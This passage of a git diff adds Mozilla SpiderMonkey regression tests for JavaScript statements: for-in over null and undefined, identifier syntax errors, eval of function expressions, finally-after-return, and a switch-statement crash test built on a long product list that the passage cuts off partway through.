+function MyObject()
+{
+}
+
+MyObject.prototype.valueOf = function()
+{
+ actual += 'MyObject.prototype.valueOf called. ';
+}
+
+ var myobject = new MyObject();
+
+var myfunction = new function()
+{
+ this.valueOf = function()
+ {
+ actual += 'this.valueOf called. ';
+ }
+}
+
+ actual = '';
+for (i in myobject)
+{
+ //calls valueOf
+}
+reportCompare(expect, actual, 'for-in custom object');
+
+actual = '';
+for (i in myfunction)
+{
+ //calls valueOf
+}
+reportCompare(expect, actual, 'for-in function expression');
diff --git a/js/src/tests/ecma_3/Statements/browser.js b/js/src/tests/ecma_3/Statements/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/browser.js
diff --git a/js/src/tests/ecma_3/Statements/regress-121744.js b/js/src/tests/ecma_3/Statements/regress-121744.js
new file mode 100644
index 000000000..369bc03cc
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/regress-121744.js
@@ -0,0 +1,184 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 30 Jan 2002
+ * Revised: 10 Apr 2002
+ * Revised: 14 July 2002
+ *
+ * SUMMARY: JS should error on |for(i in undefined)|, |for(i in null)|
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=121744
+ *
+ * ECMA-262 3rd Edition Final spec says such statements should error. See:
+ *
+ * Section 12.6.4 The for-in Statement
+ * Section 9.9 ToObject
+ *
+ *
+ * BUT: SpiderMonkey has decided NOT to follow this; it's a bug in the spec.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=131348
+ *
+ * UPDATE: Rhino has also decided not to follow the spec on this.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=136893
+ *
+
+ |--------------------------------------------------------------------|
+ | |
+ | So for now, adding an early return for this test so it won't run. |
+ | |
+ |--------------------------------------------------------------------|
+
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 121744;
+var summary = 'JS should error on |for(i in undefined)|, |for(i in null)|';
+var TEST_PASSED = 'TypeError';
+var TEST_FAILED = 'Generated an error, but NOT a TypeError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+/*
+ * AS OF 14 JULY 2002, DON'T RUN THIS TEST IN EITHER RHINO OR SPIDERMONKEY -
+ */
+quit();
+
+
+status = inSection(1);
+expect = TEST_PASSED;
+actual = TEST_FAILED_BADLY;
+/*
+ * OK, this should generate a TypeError
+ */
+try
+{
+ for (var i in undefined)
+ {
+ print(i);
+ }
+}
+catch(e)
+{
+ if (e instanceof TypeError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+status = inSection(2);
+expect = TEST_PASSED;
+actual = TEST_FAILED_BADLY;
+/*
+ * OK, this should generate a TypeError
+ */
+try
+{
+ for (var i in null)
+ {
+ print(i);
+ }
+}
+catch(e)
+{
+ if (e instanceof TypeError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+status = inSection(3);
+expect = TEST_PASSED;
+actual = TEST_FAILED_BADLY;
+/*
+ * Variable names that cannot be looked up generate ReferenceErrors; however,
+ * property names like obj.ZZZ that cannot be looked up are set to |undefined|
+ *
+ * Therefore, this should indirectly test | for (var i in undefined) |
+ */
+try
+{
+ for (var i in this.ZZZ)
+ {
+ print(i);
+ }
+}
+catch(e)
+{
+ if(e instanceof TypeError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+status = inSection(4);
+expect = TEST_PASSED;
+actual = TEST_FAILED_BADLY;
+/*
+ * The result of an unsuccessful regexp match is the null value
+ * Therefore, this should indirectly test | for (var i in null) |
+ */
+try
+{
+ for (var i in 'bbb'.match(/aaa/))
+ {
+ print(i);
+ }
+}
+catch(e)
+{
+ if(e instanceof TypeError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Statements/regress-131348.js b/js/src/tests/ecma_3/Statements/regress-131348.js
new file mode 100644
index 000000000..17ecd7075
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/regress-131348.js
@@ -0,0 +1,150 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 Apr 2002
+ * Revised: 14 July 2002
+ *
+ * SUMMARY: JS should NOT error on |for(i in undefined)|, |for(i in null)|
+ *
+ * ECMA-262 3rd Edition Final spec says such statements SHOULD error. See:
+ *
+ * Section 12.6.4 The for-in Statement
+ * Section 9.9 ToObject
+ *
+ *
+ * But SpiderMonkey has decided NOT to follow this; it's a bug in the spec.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=131348
+ *
+ * Update: Rhino has also decided not to follow the spec on this
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=136893
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 131348;
+var summary = 'JS should not error on |for(i in undefined)|, |for(i in null)|';
+var TEST_PASSED = 'No error';
+var TEST_FAILED = 'An error was generated!!!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+
+status = inSection(1);
+expect = TEST_PASSED;
+actual = TEST_PASSED;
+try
+{
+ for (var i in undefined)
+ {
+ print(i);
+ }
+}
+catch(e)
+{
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+status = inSection(2);
+expect = TEST_PASSED;
+actual = TEST_PASSED;
+try
+{
+ for (var i in null)
+ {
+ print(i);
+ }
+}
+catch(e)
+{
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+status = inSection(3);
+expect = TEST_PASSED;
+actual = TEST_PASSED;
+/*
+ * Variable names that cannot be looked up generate ReferenceErrors; however,
+ * property names like obj.ZZZ that cannot be looked up are set to |undefined|
+ *
+ * Therefore, this should indirectly test | for (var i in undefined) |
+ */
+try
+{
+ for (var i in this.ZZZ)
+ {
+ print(i);
+ }
+}
+catch(e)
+{
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+status = inSection(4);
+expect = TEST_PASSED;
+actual = TEST_PASSED;
+/*
+ * The result of an unsuccessful regexp match is the null value
+ * Therefore, this should indirectly test | for (var i in null) |
+ */
+try
+{
+ for (var i in 'bbb'.match(/aaa/))
+ {
+ print(i);
+ }
+}
+catch(e)
+{
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Statements/regress-157509.js b/js/src/tests/ecma_3/Statements/regress-157509.js
new file mode 100644
index 000000000..847dcda1f
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/regress-157509.js
@@ -0,0 +1,77 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 15 July 2002
+ * SUMMARY: Testing for SyntaxError on usage of '\' in identifiers
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=157509
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 157509;
+var summary = "Testing for SyntaxError on usage of '\\' in identifiers";
+var TEST_PASSED = 'SyntaxError';
+var TEST_FAILED = 'Generated an error, but NOT a SyntaxError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+expect = TEST_PASSED;
+actual = TEST_FAILED_BADLY;
+/*
+ * OK, this should generate a SyntaxError
+ */
+try
+{
+ eval('var a\\1 = 0;');
+}
+catch(e)
+{
+ if (e instanceof SyntaxError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Statements/regress-194364.js b/js/src/tests/ecma_3/Statements/regress-194364.js
new file mode 100644
index 000000000..24ed1f4ae
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/regress-194364.js
@@ -0,0 +1,118 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 21 February 2003
+ * SUMMARY: Testing eval statements containing conditional function expressions
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=194364
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 194364;
+var summary = 'Testing eval statements with conditional function expressions';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+/*
+ From ECMA-262 Edition 3, 12.4:
+
+ 12.4 Expression Statement
+
+ Syntax
+ ExpressionStatement : [lookahead not in {{, function}] Expression ;
+
+ Note that an ExpressionStatement cannot start with an opening curly brace
+ because that might make it ambiguous with a Block. Also, an ExpressionStatement
+ cannot start with the function keyword because that might make it ambiguous with
+ a FunctionDeclaration.
+*/
+
+status = inSection(1);
+actual = eval('(function() {}); 1');
+expect = 1;
+addThis();
+
+status = inSection(2);
+actual = eval('(function f() {}); 2');
+expect = 2;
+addThis();
+
+status = inSection(3);
+actual = eval('if (true) (function() {}); 3');
+expect = 3;
+addThis();
+
+status = inSection(4);
+actual = eval('if (true) (function f() {}); 4');
+expect = 4;
+addThis();
+
+status = inSection(5);
+actual = eval('if (false) (function() {}); 5');
+expect = 5;
+addThis();
+
+status = inSection(6);
+actual = eval('if (false) (function f() {}); 6');
+expect = 6;
+addThis();
+
+status = inSection(7);
+actual = eval('switch(true) { case true: (function() {}) }; 7');
+expect = 7;
+addThis();
+
+status = inSection(8);
+actual = eval('switch(true) { case true: (function f() {}) }; 8');
+expect = 8;
+addThis();
+
+status = inSection(9);
+actual = eval('switch(false) { case false: (function() {}) }; 9');
+expect = 9;
+addThis();
+
+status = inSection(10);
+actual = eval('switch(false) { case false: (function f() {}) }; 10');
+expect = 10;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Statements/regress-226517.js b/js/src/tests/ecma_3/Statements/regress-226517.js
new file mode 100644
index 000000000..ea71c3efb
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/regress-226517.js
@@ -0,0 +1,78 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 Dec 2003
+ * SUMMARY: |finally| statement should execute even after a |return|
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=226517
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 226517;
+var summary = '|finally| statement should execute even after a |return|';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * We can only use a return statement within a function.
+ * That makes the testcase more complicated to set up -
+ */
+function f()
+{
+ var return_expression_was_calculated = false;
+ try
+ {
+ return (return_expression_was_calculated = true);
+ }
+ finally
+ {
+ actual = return_expression_was_calculated;
+ }
+}
+
+
+status = inSection(1);
+f(); // sets |actual|
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Statements/regress-302439.js b/js/src/tests/ecma_3/Statements/regress-302439.js
new file mode 100644
index 000000000..a94bfa8ee
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/regress-302439.js
@@ -0,0 +1,1335 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 302439;
+var summary = 'spandep fu should skip unused JSOP_TABLESWITCH jump table entries';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function productList(catID,famID) {
+ clearBox(document.Support_Form.Product_ID);
+
+ switch(parseInt(catID)) {
+
+ case 1 : // Sound Blaster
+ switch(parseInt(famID)) {
+
+ case 434 : // Audigy 4
+ break;
+
+ case 204 : // Audigy 2
+ break;
+
+ case 205 : // Audigy
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy Platinum eX', '45'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy Platinum', '4846'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy LS (SE)', '10365'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy Digital Entertainment', '5085'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy ES', '5086'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 206 : // Live!
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! 24-bit External', '10702'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Live! MP3+ 5.1', '573'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! 5.1', '50'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! Digital Entertainment 5.1 (SE)', '4855'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! Platinum 5.1', '572'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Live! 5.1 Digital (Dell)', '1853'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! Platinum', '3203'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Live! Value', '4856'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Live!', '4857'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 207 : // Others
+ try { addBoxItem(document.Support_Form.Product_ID, 'Extigy', '585'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Ensoniq AudioPCI', '420'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PCI4.1 Digital', '681'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Vibra128 4D', '9032'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Digital Music', '154'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Vibra 128', '4851'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster 32', '1844'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SB AWE64 Digital', '1821'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SB PCI 5.1', '1828'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster\u00AE', '1841'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster\u00AE 16', '1842'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster 16 Wave Effects', '1843'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster AWE32', '1848'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster AWE64', '1849'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster AWE64 Gold', '1850'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Microchannels', '1861'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster PCI 128', '1864'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster PCI 64', '1865'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Pro', '1866'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Audio PCI', '1559'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 16 : // Accessories
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live!Drive II', '9278'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster MIDI Adapter', '251'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mini to Standard MIDI Adapter', '252'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 210 : // Portable Media Players
+ switch(parseInt(famID)) {
+
+ case 211 : // Zen
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Portable Media Center', '9882'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 212 : // Accessories
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC Docking Station', '10756'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC Li-ion Polymer Battery', '10679'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC FM Wired Remote', '10663'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 213 : // MP3 Players
+ switch(parseInt(famID)) {
+
+ case 214 : // Zen
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Touch', '10274'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Micro', '10795'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen', '11519'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Xtra', '9288'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen NX', '4836'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen USB 2.0', '9019'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Zen', '117'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 215 : // MuVo
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Micro N200', '10737'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo\u00B2 X-Trainer', '5080'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Slim', '10052'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Sport C100', '10794'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo V200', '10732'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo TX FM', '9771'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo USB 2.0', '10919'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo', '110'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo NX', '4884'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo\u00B2', '4908'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo TX', '9672'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 216 : // Digital MP3 Player
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Xtra', '9288'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Rhomba NX', '10302'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MP3 Player FX120', '11010'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'DXT 200', '4996'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen USB 2.0', '9019'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Jukebox 3', '296'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative CD-MP3 Slim 600', '1582'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen NX', '4836'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MP3 Player', '4983'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MP3 Player 2', '4984'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MP3 Player MX', '4985'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Zen', '117'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'JukeBox 2', '239'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD JukeBox', '241'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD JukeBox C', '242'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Jukebox 10GB', '261'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative CD-MP3 M100', '264'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 217 : // Accessories
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Micro Battery', '11215'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Universal Travel Adapter for Zen Micro', '11711'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Stik-On', '12982'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Universal Travel Adapter', '12979'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Leather Case', '11511'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Leather Case', '12978'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
